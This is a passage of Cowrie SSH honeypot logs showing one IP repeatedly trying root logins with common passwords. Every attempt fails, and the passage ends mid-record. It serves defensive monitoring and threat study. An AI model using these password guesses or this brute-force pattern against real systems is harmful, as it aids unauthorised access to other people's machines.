{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:48:32.412420Z","src_ip":"60.165.124.241","session":"eff0c0735df2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":58032,"dst_ip":"10.17.0.5","dst_port":22,"session":"38f83cb8bc06","protocol":"ssh","message":"New connection: 60.165.124.241:58032 (10.17.0.5:22) [session: 38f83cb8bc06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:48:32.654790Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:48:32.659806Z","src_ip":"60.165.124.241","session":"38f83cb8bc06","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:48:32.909768Z","src_ip":"60.165.124.241","session":"38f83cb8bc06","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Happy123","message":"login attempt [root/Happy123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:48:33.659822Z","src_ip":"60.165.124.241","session":"38f83cb8bc06","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:48:34.903380Z","src_ip":"60.165.124.241","session":"38f83cb8bc06","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":60842,"dst_ip":"10.17.0.5","dst_port":22,"session":"732c5ee1d37c","protocol":"ssh","message":"New connection: 60.165.124.241:60842 (10.17.0.5:22) [session: 732c5ee1d37c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:48:35.138250Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:48:35.146362Z","src_ip":"60.165.124.241","session":"732c5ee1d37c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:48:35.384600Z","src_ip":"60.165.124.241","session":"732c5ee1d37c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Xl12345678","message":"login attempt [root/Xl12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:48:36.106487Z","src_ip":"60.165.124.241","session":"732c5ee1d37c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:48:37.348008Z","src_ip":"60.165.124.241","session":"732c5ee1d37c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":35614,"dst_ip":"10.17.0.5","dst_port":22,"session":"6122a5d47484","protocol":"ssh","message":"New connection: 60.165.124.241:35614 (10.17.0.5:22) [session: 6122a5d47484]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:48:37.586115Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:48:37.590452Z","src_ip":"60.165.124.241","session":"6122a5d47484","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:48:37.829483Z","src_ip":"60.165.124.241","session":"6122a5d47484","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"7758521","message":"login attempt [root/7758521] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:48:38.555856Z","src_ip":"60.165.124.241","session":"6122a5d47484","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:48:39.813062Z","src_ip":"60.165.124.241","session":"6122a5d47484","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":38790,"dst_ip":"10.17.0.5","dst_port":22,"session":"bfc5fac75885","protocol":"ssh","message":"New connection: 60.165.124.241:38790 (10.17.0.5:22) [session: bfc5fac75885]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:48:40.059545Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:48:40.063794Z","src_ip":"60.165.124.241","session":"bfc5fac75885","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:48:40.316960Z","src_ip":"60.165.124.241","session":"bfc5fac75885","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123258","message":"login attempt [root/123258] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:48:41.081382Z","src_ip":"60.165.124.241","session":"bfc5fac75885","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:48:42.334351Z","src_ip":"60.165.124.241","session":"bfc5fac75885","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":41900,"dst_ip":"10.17.0.5","dst_port":22,"session":"11cdbd2fdc1e","protocol":"ssh","message":"New connection: 60.165.124.241:41900 (10.17.0.5:22) [session: 11cdbd2fdc1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:48:42.587104Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:48:42.591761Z","src_ip":"60.165.124.241","session":"11cdbd2fdc1e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:48:43.549305Z","src_ip":"60.165.124.241","session":"11cdbd2fdc1e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa112233...","message":"login attempt [root/Aa112233...] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:48:44.314443Z","src_ip":"60.165.124.241","session":"11cdbd2fdc1e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:48:46.171849Z","src_ip":"60.165.124.241","session":"11cdbd2fdc1e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":46396,"dst_ip":"10.17.0.5","dst_port":22,"session":"b32235cd29d6","protocol":"ssh","message":"New connection: 60.165.124.241:46396 (10.17.0.5:22) [session: b32235cd29d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:48:46.418045Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:48:46.422869Z","src_ip":"60.165.124.241","session":"b32235cd29d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:48:46.677685Z","src_ip":"60.165.124.241","session":"b32235cd29d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Dx123456","message":"login attempt [root/Dx123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:48:47.442106Z","src_ip":"60.165.124.241","session":"b32235cd29d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:48:48.696567Z","src_ip":"60.165.124.241","session":"b32235cd29d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":49440,"dst_ip":"10.17.0.5","dst_port":22,"session":"15dd5ecad193","protocol":"ssh","message":"New connection: 60.165.124.241:49440 (10.17.0.5:22) [session: 15dd5ecad193]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:48:48.930204Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:48:48.935157Z","src_ip":"60.165.124.241","session":"15dd5ecad193","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:48:49.171441Z","src_ip":"60.165.124.241","session":"15dd5ecad193","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123QAZwsx","message":"login attempt [root/123QAZwsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:48:49.913007Z","src_ip":"60.165.124.241","session":"15dd5ecad193","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:48:51.151035Z","src_ip":"60.165.124.241","session":"15dd5ecad193","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":52438,"dst_ip":"10.17.0.5","dst_port":22,"session":"fe966b95bba2","protocol":"ssh","message":"New connection: 60.165.124.241:52438 (10.17.0.5:22) [session: fe966b95bba2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:48:51.391747Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:48:51.396640Z","src_ip":"60.165.124.241","session":"fe966b95bba2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:48:51.650841Z","src_ip":"60.165.124.241","session":"fe966b95bba2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"gwtt@123","message":"login attempt [root/gwtt@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:48:52.385852Z","src_ip":"60.165.124.241","session":"fe966b95bba2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:48:53.642752Z","src_ip":"60.165.124.241","session":"fe966b95bba2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":55530,"dst_ip":"10.17.0.5","dst_port":22,"session":"aba82eb5edba","protocol":"ssh","message":"New connection: 60.165.124.241:55530 (10.17.0.5:22) [session: aba82eb5edba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:48:53.880736Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:48:53.885535Z","src_ip":"60.165.124.241","session":"aba82eb5edba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ss